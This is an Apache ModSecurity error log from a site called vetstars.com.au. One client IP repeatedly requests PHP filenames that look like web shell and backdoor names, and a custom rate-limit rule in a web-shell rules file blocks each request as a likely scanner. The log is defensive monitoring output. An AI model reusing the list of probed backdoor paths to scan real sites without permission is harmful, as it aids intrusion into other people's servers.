[Sat Apr 11 02:23:38.432077 2026] [:error] [pid 21706:tid 21716] [client 51.107.88.105:45993] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlAKiGQ1M5d8fQSsLHACwAAAAg"]
[Sat Apr 11 02:23:38.974553 2026] [:error] [pid 21706:tid 21708] [client 51.107.88.105:48519] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlAKiGQ1M5d8fQSsLHADwAAAAA"]
[Sat Apr 11 02:23:39.990876 2026] [:error] [pid 55451:tid 55474] [client 51.107.88.105:51428] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adlAK3ApxuyB7yCS5RkgPAAAANU"]
[Sat Apr 11 02:23:40.620228 2026] [:error] [pid 21706:tid 21723] [client 51.107.88.105:61654] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adlALCGQ1M5d8fQSsLHAGwAAAA8"]
[Sat Apr 11 02:23:41.367700 2026] [:error] [pid 21568:tid 21581] [client 51.107.88.105:45412] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adlALYiz5v_ljZxkpR_a_wAAAQk"]
[Sat Apr 11 02:23:42.190497 2026] [:error] [pid 21569:tid 21655] [client 51.107.88.105:28780] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adlALnAvQTgvXJ6vHoqnEAAAAIo"]
[Sat Apr 11 02:23:42.754934 2026] [:error] [pid 21570:tid 21691] [client 51.107.88.105:51990] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adlALjKs5t9xRSNL6cnU9AAAAFE"]
[Sat Apr 11 02:23:43.537988 2026] [:error] [pid 21568:tid 21587] [client 51.107.88.105:62114] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adlAL4iz5v_ljZxkpR_bBgAAAQ8"]
[Sat Apr 11 02:23:44.202130 2026] [:error] [pid 21568:tid 21573] [client 51.107.88.105:40758] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adlAMIiz5v_ljZxkpR_bEAAAAQE"]
[Sat Apr 11 02:23:44.972999 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:40463] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adlAMCGQ1M5d8fQSsLHAKwAAABg"]
[Sat Apr 11 02:23:45.719739 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:28775] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adlAMSGQ1M5d8fQSsLHANwAAABQ"]
[Sat Apr 11 02:23:46.542620 2026] [:error] [pid 21706:tid 21715] [client 51.107.88.105:52011] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adlAMiGQ1M5d8fQSsLHAPgAAAAc"]
[Sat Apr 11 02:23:47.249306 2026] [:error] [pid 21568:tid 21578] [client 51.107.88.105:48518] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adlAM4iz5v_ljZxkpR_bGAAAAQY"]
[Sat Apr 11 02:23:47.811869 2026] [:error] [pid 21569:tid 21671] [client 51.107.88.105:48520] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adlAM3AvQTgvXJ6vHoqnFAAAAJM"]
[Sat Apr 11 02:23:48.593057 2026] [:error] [pid 21706:tid 21725] [client 51.107.88.105:62098] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adlANCGQ1M5d8fQSsLHAVAAAABE"]
[Sat Apr 11 02:23:50.671682 2026] [:error] [pid 21568:tid 21586] [client 51.107.88.105:45436] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adlANoiz5v_ljZxkpR_bHAAAAQ4"]
[Sat Apr 11 02:23:51.401901 2026] [:error] [pid 21569:tid 21657] [client 51.107.88.105:51444] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adlAN3AvQTgvXJ6vHoqnGQAAAIw"]
[Sat Apr 11 02:23:53.382270 2026] [:error] [pid 21706:tid 21709] [client 51.107.88.105:52027] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adlAOSGQ1M5d8fQSsLHAcgAAAAE"]
[Sat Apr 11 02:23:55.364576 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:56516] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adlAOyGQ1M5d8fQSsLHAhQAAABg"]
[Sat Apr 11 02:23:55.971984 2026] [:error] [pid 21706:tid 21710] [client 51.107.88.105:51411] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adlAOyGQ1M5d8fQSsLHAiAAAAAI"]
[Sat Apr 11 02:23:57.015112 2026] [:error] [pid 21706:tid 21712] [client 51.107.88.105:37479] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adlAPSGQ1M5d8fQSsLHAjgAAAAQ"]
[Sat Apr 11 02:23:58.104448 2026] [:error] [pid 55451:tid 55458] [client 51.107.88.105:45430] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adlAPnApxuyB7yCS5RkgaQAAAMU"]
[Sat Apr 11 02:23:59.235794 2026] [:error] [pid 21568:tid 21580] [client 51.107.88.105:37496] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adlAP4iz5v_ljZxkpR_bLwAAAQg"]
[Sat Apr 11 02:24:00.400517 2026] [:error] [pid 55451:tid 55473] [client 51.107.88.105:32259] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adlAQHApxuyB7yCS5RkgdgAAANQ"]
[Sat Apr 11 02:24:01.753807 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:40489] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adlAQSGQ1M5d8fQSsLHAngAAABQ"]
[Sat Apr 11 02:24:02.907128 2026] [:error] [pid 55451:tid 55453] [client 51.107.88.105:40544] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adlAQnApxuyB7yCS5RkgfQAAAMA"]
[Sat Apr 11 02:24:04.251605 2026] [:error] [pid 21568:tid 21583] [client 51.107.88.105:28741] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adlARIiz5v_ljZxkpR_bQgAAAQs"]
[Sat Apr 11 02:24:05.339692 2026] [:error] [pid 21570:tid 21695] [client 51.107.88.105:48546] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adlARTKs5t9xRSNL6cnVGQAAAFU"]
[Sat Apr 11 02:24:06.046872 2026] [:error] [pid 21568:tid 21575] [client 51.107.88.105:45408] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adlARoiz5v_ljZxkpR_bSQAAAQM"]
[Sat Apr 11 02:24:06.765158 2026] [:error] [pid 55451:tid 55457] [client 51.107.88.105:40712] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adlARnApxuyB7yCS5RkghgAAAMQ"]
[Sat Apr 11 02:24:07.950307 2026] [:error] [pid 21569:tid 21683] [client 51.107.88.105:28738] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adlAR3AvQTgvXJ6vHoqnPgAAAJg"]
[Sat Apr 11 02:24:08.836154 2026] [:error] [pid 21570:tid 21685] [client 51.107.88.105:48522] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adlASDKs5t9xRSNL6cnVIQAAAEw"]
[Sat Apr 11 02:24:09.703527 2026] [:error] [pid 21568:tid 21577] [client 51.107.88.105:51454] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adlASYiz5v_ljZxkpR_bVAAAAQU"]
[Sat Apr 11 02:24:10.773515 2026] [:error] [pid 21569:tid 21655] [client 51.107.88.105:56532] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adlASnAvQTgvXJ6vHoqnRgAAAIo"]
[Sat Apr 11 02:24:11.725062 2026] [:error] [pid 21570:tid 21673] [client 51.107.88.105:52019] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adlASzKs5t9xRSNL6cnVKwAAAEY"]
[Sat Apr 11 02:24:12.694315 2026] [:error] [pid 55451:tid 55462] [client 51.107.88.105:61685] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adlATHApxuyB7yCS5RkgrQAAAMk"]
[Sat Apr 11 02:24:13.523828 2026] [:error] [pid 55451:tid 55461] [client 51.107.88.105:28797] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adlATXApxuyB7yCS5RkgugAAAMg"]
[Sat Apr 11 02:24:14.185494 2026] [:error] [pid 55451:tid 55470] [client 51.107.88.105:40750] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adlATnApxuyB7yCS5RkgvwAAANE"]
[Sat Apr 11 02:24:15.206614 2026] [:error] [pid 55451:tid 55465] [client 51.107.88.105:30757] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adlAT3ApxuyB7yCS5RkgywAAAMw"]
[Sat Apr 11 02:24:16.112768 2026] [:error] [pid 21568:tid 21572] [client 51.107.88.105:55910] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adlAUIiz5v_ljZxkpR_bWwAAAQA"]
[Sat Apr 11 02:24:16.987937 2026] [:error] [pid 55451:tid 55454] [client 51.107.88.105:55911] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adlAUHApxuyB7yCS5Rkg2AAAAME"]
[Sat Apr 11 02:24:17.771690 2026] [:error] [pid 55451:tid 55469] [client 51.107.88.105:40720] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adlAUXApxuyB7yCS5Rkg3AAAANA"]
[Sat Apr 11 02:24:18.611299 2026] [:error] [pid 21570:tid 21692] [client 51.107.88.105:48521] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adlAUjKs5t9xRSNL6cnVOAAAAFI"]
[Sat Apr 11 02:24:19.425897 2026] [:error] [pid 21569:tid 21660] [client 51.107.88.105:61665] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adlAU3AvQTgvXJ6vHoqnWwAAAI4"]
[Sat Apr 11 02:24:20.773296 2026] [:error] [pid 21570:tid 21694] [client 51.107.88.105:45432] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adlAVDKs5t9xRSNL6cnVPgAAAFQ"]
[Sat Apr 11 02:24:21.777924 2026] [:error] [pid 21568:tid 21591] [client 51.107.88.105:45968] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adlAVYiz5v_ljZxkpR_baAAAARM"]
[Sat Apr 11 02:24:22.387938 2026] [:error] [pid 55451:tid 55470] [client 51.107.88.105:45402] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adlAVnApxuyB7yCS5Rkg8AAAANE"]
[Sat Apr 11 02:24:23.061469 2026] [:error] [pid 55451:tid 55477] [client 51.107.88.105:40468] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adlAV3ApxuyB7yCS5Rkg9AAAANg"]
[Sat Apr 11 02:24:23.804137 2026] [:error] [pid 55451:tid 55465] [client 51.107.88.105:55934] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adlAV3ApxuyB7yCS5Rkg9wAAAMw"]
[Sat Apr 11 02:24:24.777298 2026] [:error] [pid 21706:tid 21720] [client 51.107.88.105:51972] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adlAWCGQ1M5d8fQSsLHA5QAAAAw"]
[Sat Apr 11 02:24:25.846325 2026] [:error] [pid 21706:tid 21732] [client 51.107.88.105:40715] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adlAWSGQ1M5d8fQSsLHA7AAAABg"]
[Sat Apr 11 02:24:26.516250 2026] [:error] [pid 55451:tid 55463] [client 51.107.88.105:56540] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adlAWnApxuyB7yCS5RkhCQAAAMo"]
[Sat Apr 11 02:24:27.207947 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:52003] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adlAWyGQ1M5d8fQSsLHA_wAAABY"]
[Sat Apr 11 02:24:27.782947 2026] [:error] [pid 21706:tid 21713] [client 51.107.88.105:55933] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adlAWyGQ1M5d8fQSsLHBBQAAAAU"]
[Sat Apr 11 02:24:28.618116 2026] [:error] [pid 21706:tid 21719] [client 51.107.88.105:62093] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adlAXCGQ1M5d8fQSsLHBCQAAAAs"]
[Sat Apr 11 02:24:29.277535 2026] [:error] [pid 21568:tid 21585] [client 51.107.88.105:46005] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adlAXYiz5v_ljZxkpR_bbwAAAQ0"]
